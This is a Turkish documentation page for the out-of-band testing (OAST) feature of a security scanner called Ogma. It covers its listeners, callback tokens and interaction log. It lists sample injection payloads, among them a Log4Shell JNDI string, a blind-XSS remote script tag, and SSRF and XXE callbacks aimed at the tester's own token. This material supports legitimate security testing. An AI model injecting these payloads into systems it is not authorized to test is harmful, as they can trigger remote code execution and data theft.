İçeriğe geç

OAST ​

OAST (Out-of-Band Application Security Testing), görünür yanıt üretmeyen güvenlik açıklarını tespit eder; hedef bunun yerine kontrol ettiğiniz dinleyiciye dış bağlantı kurarak sorunu doğrular.

Nasıl çalışır? ​

Ogma birden fazla protokolde yerel dinleyiciler çalıştırır. Hedef uygulama dinleyicilerden biriyle iletişim kurduğunda etkileşim; kaynak IP, zaman damgası, alınan veri ve enjekte edilen belirteçle kaydedilir.

Dinleyici protokolleri ​

ProtokolVarsayılan portKullanım alanı
HTTPYapılandırılabilirSSRF, kör XSS, webhook'lar
HTTPSYapılandırılabilirTLS üzerinden SSRF
DNSYapılandırılabilirKör enjeksiyon, XXE, log4shell
SMTPYapılandırılabilirE-posta başlık enjeksiyonu, posta hizmetlerine SSRF

Dinleyici portlarını ve üretilen belirteçlerde kullanılan alan adını OAST ayar panelinde yapılandırın.

Geri çağrı belirteci üretme ​

  1. Yardımcı araçlar > OAST bölümünü açın.
  2. Yeni belirteç düğmesine tıklayın. Her belirteç teste özeldir.
  3. Belirteci kopyalayın. Etkileşimlerin ilgili testle eşleştirilebilmesi için dinleyici alan adınızı ve benzersiz tanımlayıcıyı içerir.

Örnek belirteç biçimi: [unique-id].[your-oast-domain]

Veri yüklerinde belirteç kullanma ​

Geri çağrı belirtecini uygulamanın dış bağlantı kurabileceği herhangi bir alana enjekte edin:

  • SSRF — HTTP/HTTPS belirtecini hedef URL olarak kullanın: https://[token]/
  • XXE — DOCTYPE veya harici varlık URL'sinde belirtece başvurun.
  • Log4Shell — başlığa yerleştirin: ${jndi:ldap://[token]/a}
  • Kör XSS — script src olarak enjekte edin: <script src="https://[token]/x.js"></script>
  • SMTP enjeksiyonu — e-posta başlıklarında hedef adres veya URL olarak kullanın.

Etkileşim günlüğü ​

Etkileşim paneli alınan tüm geri çağrıları gösterir:

SütunAçıklama
SüreEtkileşimin alındığı zaman
ProtokolHTTP, HTTPS, DNS veya SMTP
Kaynak IPBağlantıyı kuran IP adresi
Belirteçİletişim kurulan belirteç
Verilerİstek yolu, DNS sorgu adı veya SMTP verisi

Uygun durumlarda istek başlıkları ve gövde dahil tam etkileşim ayrıntılarını görmek için herhangi bir satıra tıklayın.

Etkileşimleri testlerle eşleştirme ​

Her belirteç benzersiz olduğundan farklı parametrelere veya isteklere farklı belirteçler enjekte edip geri çağrıyı tam olarak hangi enjeksiyon noktasının tetiklediğini belirleyebilirsiniz.

Tescilli yazılım. Tüm hakları saklıdır.